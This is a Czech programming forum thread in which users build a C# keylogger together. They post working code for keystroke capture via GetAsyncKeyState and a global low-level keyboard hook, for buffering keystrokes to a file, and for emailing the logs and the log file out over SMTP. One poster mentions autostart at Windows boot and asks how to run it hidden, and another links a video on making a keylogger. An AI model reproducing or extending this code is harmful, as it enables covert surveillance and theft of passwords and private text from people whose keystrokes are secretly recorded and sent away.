Diskuze: KeyLogger/KeyHook
V předchozím kvízu, Test znalostí C# .NET online, jsme si ověřili nabyté zkušenosti z kurzu.
Mediel:18.10.2012 8:19
Hezky, ale je to presne to, cemu moc nerozumim. Takovychto podobnych kodu je
plny internet, ale ja proste nevim, co ktery prikaz dela...
Napadla mne myslenka nejakeho Real Time KeyLoggeru s radou funkci, jako cmd,
printscreen a pod 
David Hartinger:18.10.2012 10:15
Já jsem se tyhle věci naučil raději nechápat a beru je jako blackbox.
Koukám, že je tam nějaký dllimport, to je bordel z vnitřností operačního
systému, který někdo vyplodil na základě dokumentace a který je velmi
těžké pochopit. Zabalil bych to úhledně do třídy a hotovo 
Mediel:18.10.2012 13:39
No já na to koukám jako kocour v botách 
D tedy povedlo se mi neco
sesmolit pomocí jedné knihovny, ale vrací to nějak divné hodnoty. Tedy
znaky to vrací ok, ale když si nechám vypsat hodnotu znaku 'a', tak to
vypíše 65 a ne 97...
[DllImport("User32.dll")]
static extern int GetAsyncKeyState(int vKey);
private void tKey_Tick(object sender, EventArgs e)
{
// Snímá stisknuté klávesy
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if (GetAsyncKeyState(i) == -32767)
tbLog.Text += Enum.GetName(typeof(Keys), i);
}
if (tbLog.Text != "")
{
tbLog.Text = tbLog.Text.Replace("rOem6", "(");
tbLog.Text = tbLog.Text.Replace("Space", " ");
tbLog.Text = tbLog.Text.Replace("Delete", "<Del>");
tbLog.Text = tbLog.Text.Replace("LShiftKey", "<SHIFT>");
tbLog.Text = tbLog.Text.Replace("ShiftKey", "");
tbLog.Text = tbLog.Text.Replace("OemQuotes", "!");
tbLog.Text = tbLog.Text.Replace("Oemcomma", "?");
tbLog.Text = tbLog.Text.Replace("D8", "á");
tbLog.Text = tbLog.Text.Replace("D2", "ì");
tbLog.Text = tbLog.Text.Replace("D3", "š");
tbLog.Text = tbLog.Text.Replace("D4", "è");
tbLog.Text = tbLog.Text.Replace("D5", "ø");
tbLog.Text = tbLog.Text.Replace("D6", "ž");
tbLog.Text = tbLog.Text.Replace("D7", "ý");
tbLog.Text = tbLog.Text.Replace("D9", "í");
tbLog.Text = tbLog.Text.Replace("D0", "é");
tbLog.Text = tbLog.Text.Replace("Back", "<==");
tbLog.Text = tbLog.Text.Replace("LButton", "<Levé myšítko>");
tbLog.Text = tbLog.Text.Replace("RButton", "<Pravé myšítko>");
tbLog.Text = tbLog.Text.Replace("NumPad", "");
tbLog.Text = tbLog.Text.Replace("OemPeriod", ".");
tbLog.Text = tbLog.Text.Replace("OemSemicolon", ",");
tbLog.Text = tbLog.Text.Replace("Oem4", "/");
tbLog.Text = tbLog.Text.Replace("LControlKey", "<CTRL>");
tbLog.Text = tbLog.Text.Replace("ControlKey", "<CTRL>");
tbLog.Text = tbLog.Text.Replace("Enter", "<ENT>");
tbLog.Text = tbLog.Text.Replace("Shift", "<SHIFT>");
tbLog.Text = tbLog.Text.ToLower();nevite nekdo co s tim? Presneji, jak vracet treba hodnoty v ascii? Takhle to dela bordel i v zavorkach a pod.
matesax:18.10.2012 15:06
To je mi ale prase kód!
Co nechápeš na tom mém? Stáhnul jsem si potřebné zprávy a jen si je poslal do KeyEventu... (To mé je tedy rozhodně lepší - dostaneš normální KeyDown(Up) - tedy bez timeru a bez převodu znaků...)
Jediné čemu nemusíš rozumět jsou IntPtr a int zprávy. No ty jsou prostě dané - zjistíš je v příslušném manuálu, zbytek je dost jasný - tedy ještě možná nechápeš delegáty - Google... Ještě jsem to zjednodušil:
using System;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.ComponentModel;
public struct KeyboardHookStruct
{
public int VkCode, ScanCode, Flags, Time, DwExtraInfo;
}
public class GlobalKeyboardHook
{
private const int WH_KEYBOARD_LL = 13, WM_KEYDOWN = 0x100, WM_KEYUP = 0x101, WM_SYSKEYDOWN = 0x104, WM_SYSKEYUP = 0x105;
private IntPtr hhook = IntPtr.Zero;
public delegate int KeyboardHookProc(int code, int wParam, ref KeyboardHookStruct lParam);
public event KeyEventHandler KeyDown, KeyUp;
private static KeyboardHookProc callbackDelegate;
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, KeyboardHookProc callback, IntPtr hInstance, uint threadId);
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref KeyboardHookStruct lParam);
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
public GlobalKeyboardHook()
{
IntPtr hInstance = LoadLibrary("User32");
callbackDelegate = new KeyboardHookProc(HookProc);
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, callbackDelegate, hInstance, 0);
}
~GlobalKeyboardHook()
{
if (!UnhookWindowsHookEx(hhook))
throw new Win32Exception();
callbackDelegate = null;
}
public int HookProc(int code, int wParam, ref KeyboardHookStruct lParam)
{
if (code >= 0)
{
KeyEventArgs kea = new KeyEventArgs((Keys)lParam.VkCode);
if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
KeyDown(this, kea);
else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
KeyUp(this, kea);
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
}Použití:
private void Form1_Load(object sender, EventArgs e)
{
gkh.KeyDown += new KeyEventHandler(GlobalKeyboardHook_KeyDown);
gkh.KeyUp += new KeyEventHandler(GlobalKeyboardHook_KeyUp);
}
private void GlobalKeyboardHook_KeyUp(object sender, KeyEventArgs e)
{
}
private void GlobalKeyboardHook_KeyDown(object sender, KeyEventArgs e)
{
}Co přesně tedy nechápeš?
Napadlo mne reseni na zaklade tveho komentu, dekuji
Udelam to tak, ze si budu data bufferovat a zapisu je jednou za nejakou dobu.
Ne, mam pocit, ze po prvnim odeslni logu, to zustane nejak viset v tom
emailSenderu a pak do toho souboru nejde dale pristupovat 
Budu to muset poradne promyslet a prozkouset...
to neni, no... V celku
je to s nim souboj. Ostatne, udelal jsme tam spousteni po starti windows, ale
nevim, jak tam dostat parametr, aby se to spoustelo skryte. Tedy -h
Jinak s tim souborem si jeste nejak pohraju, nejake reseni se najde
https://www.youtube.com/watch?… tady na tomdle videu
najdete jak si udělat vlastní keylogger
Je to uplně suprový video sám sem ho podle toho udělal a šlape uplně suprově0. Jinak psal jsem i tomu autorovi David Roško a je ranec ochotnej s čímkoliv poradit
Zdravim,
mam stale problem se zapisem do douboru...
Tedy mam ten keyLogger, zapisuji do souboru ve vlastni metode:
// Zapíše do souboru
private void WriteToFile()
{
using (StreamWriter zapisDoSouboru = new StreamWriter(tbSetupPath.Text, true, Encoding.UTF8))
{
zapisDoSouboru.Write(sBufferForFile);
}
sBufferForFile = "";
}odesílám email takto:
public void SendLogWithFile(string SMTP, string Port, string User, string Pass, string Adress, string Topic, string Log, string FilePath)
{
MailMessage mail = new MailMessage();
mail.From = new MailAddress(User);
mail.To.Add(new MailAddress(Adress));
mail.Subject = Topic;
mail.Body = Log;
mail.Attachments.Add(new Attachment(FilePath));
SmtpClient klient = new SmtpClient(SMTP, int.Parse(Port));
klient.Credentials = new NetworkCredential(User, Pass);
klient.EnableSsl = false;
klient.Send(mail);
}Napoprvé to bez problémů zapíše a napodruhé to vždy spadne... Tedy zapisuji do souboru po 1000 znacích. Po spuštění programu a naspíní přes 1000 znaků, to bez potíží zapíše do souboru a soubor odešle. Ale při druhém 1000 znaků už to spadne s výjimkou, že soubor je používán jiným procesem.
metoda pro zapis a odeslani vypada takto:
// Timer pro smazávání okna a odeslání emailu
private void tClear_Tick(object sender, EventArgs e)
{
sBuffer += tbLog.Text; // Do Bufferu přidám to, co je v okně
tbLog.Text = ""; // vymazu okno
// Pokud je povolené odesílání emailů
if (chbSendEmail.Checked == true)
{
// Pokud je délka delší, než požadovaná délka
if (sBuffer.Length > int.Parse(tbSetupEmailSumOfChar.Text))
{
sSendBuffer = sBuffer;
sBufferForFile += sBuffer; // Do Bufferu pro soubor přidám to, co je v okně
WriteToFile(); // zapíše do souboru
sBuffer = ""; // vyprázdním okno
// pokud je zakázané zasílání i souboru
if (chbSetupSendFile.Checked == false)
{
Thread t = new Thread(new ThreadStart(SendLog));
t.Start();
}
else
{
Thread t = new Thread(new ThreadStart(SendLogWithFile));
t.Start();
}
}
}fakt už nevim...
Nemůže to být tím vláknem? Nemám ho po dokončení nějak zrušit?
Zobrazeno 50 zpráv z 67.